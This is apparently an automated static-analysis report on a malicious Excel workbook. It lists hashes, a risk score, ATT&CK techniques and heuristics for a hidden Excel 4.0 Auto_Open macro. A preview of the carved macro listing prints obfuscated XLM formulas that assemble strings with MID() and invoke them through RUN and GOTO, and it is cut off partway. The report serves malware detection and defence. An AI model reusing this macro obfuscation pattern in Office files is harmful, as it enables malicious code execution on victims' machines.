Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6e00727f2f6376d…

MALICIOUS

Office (OLE)

329.0 KB Created: 2020-05-22 10:55:38 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: 244acc0cc2da85ef9699fbf4842a4965 SHA-1: ec18590220a8a16686d6cee29a39923e4ef8732b SHA-256: c6e00727f2f6376db85162f24a52902728707b1f815a8dffcfe333f14d85a236
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code. The macro uses dangerous formula APIs, including RUN, suggesting it attempts to execute an external command or payload. The obfuscated nature of the formulas makes it difficult to determine the exact payload, but the intent is clearly malicious execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39080 bytes
SHA-256: d58fd5f06a983c4b533be48fdf5961ba0c09214ddf7beb0ce93567a2968722fc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Zej13CR7C81BYKJBQcqCkrhhuKyHr
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!FE26659 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,ET1333,"FORMULA(MID(U40983,12,1)&MID(BO45928,3,1)&MID(IO6404,17,1)&MID(CE58500,10,1)&MID(CE58500,10,1)&MID(CE58500,6,1)&MID(U40983,9,1)&MID(BO45928,16,1)&MID(BO45928,16,1)&MID(U40983,8,1)&MID(IO6404,13,1)&MID(IO6404,10,1)&MID(CE58500,4,1)&MID(IO6404,18,1)&MID(BO45928,15,1)&MID(IO6404,12,1)&MID(CE58500,5,1)&MID(CE58500,3,1)&MID(BO45928,16,1)&MID(CE58500,13,1)&MID(CE58500,6,1)&MID(BO45928,14,1)&MID(CE58500,1,1)&MID(IO6404,14,1)&MID(CE58500,15,1)&MID(CE58500,9,1)&MID(BO45928,15,1)&MID(CE58500,6,1)&MID(IO6404,17,1)&MID(CE58500,6,1)&MID(BO45928,3,1),DS47725)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,ET1334,GOTO(EL58007),""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,GX3143,"FORMULA(MID(CG24609,12,1)&MID(FL42243,5,1)&MID(FL42243,2,1)&MID(GH18491,9,1)&MID(FL42243,3,1)&MID(FL42243,1,1)&MID(FL42243,16,1)&MID(GH18491,15,1)&MID(FL42243,19,1)&MID(FL42243,5,1)&MID(FL42243,10,1)&MID(CG24609,19,1)&MID(FL42243,11,1)&MID(FL42243,19,1)&MID(GH18491,9,1)&MID(CG24609,1,1)&MID(CG24609,2,1)&MID(GH18491,10,1)&MID(CG24609,11,1)&MID(CG24609,2,1)&MID(GH18491,13,1)&MID(FL42243,3,1)&MID(FL42243,11,1)&MID(FL42243,16,1)&MID(FL42243,11,1)&MID(GH18491,9,1)&MID(FL42243,14,1)&MID(HV47223,4,1)&MID(CG24609,2,1)&MID(CG24609,8,1)&MID(GH18491,18,1)&MID(GH18491,18,1)&MID(HV47223,6,1)&MID(CG24609,18,1)&MID(HV47223,4,1)&MID(CG24609,5,1)&MID(CG24609,4,1)&MID(HV47223,6,1)&MID(GH18491,10,1)&MID(GH18491,13,1)&MID(GH18491,10,1),GX3144)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,GX3145,GOTO(FU23793),""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,GC3229,"FORMULA(MID(CG24609,12,1)&MID(FL42243,2,1)&MID(FL42243,5,1)&MID(FL42243,8,1)&MID(FL42243,1,1)&MID(FL42243,15,1)&MID(GH18491,9,1)&MID(FL42243,14,1)&MID(HV47223,4,1)&MID(CG24609,1,1)&MID(GH18491,18,1)&MID(CG24609,1,1)&MID(CG24609,4,1)&MID(HV47223,6,1)&MID(CG24609,18,1)&MID(HV47223,4,1)&MID(GH18491,14,1)&MID(GH18491,18,1)&MID(GH18491,17,1)&MID(CG24609,7,1)&MID(HV47223,6,1)&MID(GH18491,10,1),GC3230)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,GC3231,RUN(IT27763),""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,GE3769,"FORMULA("klmnopqrstuvwxyz{|}",FM37293)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,GE3770,RUN(HZ22426),""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,BH7725,"FORMULA("23456789:;<=>?@ABCD",CG24609)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,BH7726,GOTO(GM58277),""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,HU7789,"FORMULA(MID(CG24609,12,1)&MID(FL42243,19,1)&MID(FL42243,4,1)&MID(FL42243,5,1)&MID(FL42243,8,1)&MID(FL42243,1,1)&MID(GH18491,9,1)&MID(FL42243,5,1)&MID(FL42243,15,1)&MID(FL42243,1,1)&MID(FL42243,14,1)&MID(FL42243,14,1)&MID(FL42243,11,1)&MID(FL42243,14,1)&MID(GH18491,9,1)&MID(FL42243,2,1)&MID(FL42243,5,1)&MID(FL42243,8,1)&MID(FL42243,1,1)&MID(FL42243,15,1)&MID(GH18491,9,1)&MID(FL42243,14,1)&MID(HV47223,4,1)&MID(GH18491,18,1)&MID(CG24609,1,1)&MID(CG24609,3,1)&MID(GH18491,18,1)&MID(CG24609,3,1)&MID(HV47223,6,1)&MID(CG24609,18,1)&MID(HV47223,4,1)&MID(GH18491,14,1)&MID(CG24609,6,1)&MID(CG24609,7,1)&MID(HV47223,6,1)&MID(GH18491,10,1)&MID(GH18491,10,1)&MID(GH18491,10,1),HU7792)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,HU7790,"FORMULA(MID(CG24609,12,1)&MID(FL42243,19,1)&MID(CG24609,16,1)&MID(FL42243,5,1)&MID(FL42243,16,1)&MID(GH18491,9,1)&MID(FL42243,10,1)&MID(FL42243,11,1)&MID(FL42243,19,1)&MID(GH18491,9,1)&MID(GH18491,10,1)&MID(GH18491,12,1)&MID(GH18491,3,1)&MID(GH18491,17,1)&MID(GH18491,17,1)&MID(CG24609,9,1)&MID(GH18491,17,1)&MID(GH18491,17,1)&MID(CG24609,9,1)&MID(GH18491,17,1)&MID(GH18491,18,1)&MID(GH18491,3,1)&MID(GH18491,10,1),HU7793)",""
'  Zej13CR7C81BYKJBQcqCkrhhuKyHr,HU7791,"FORMULA(MID(CG24609,12,1)&MID(FL42243,10,1)&MID(FL42243,1,1)&MID(HV47223,1,1)&M
... (truncated)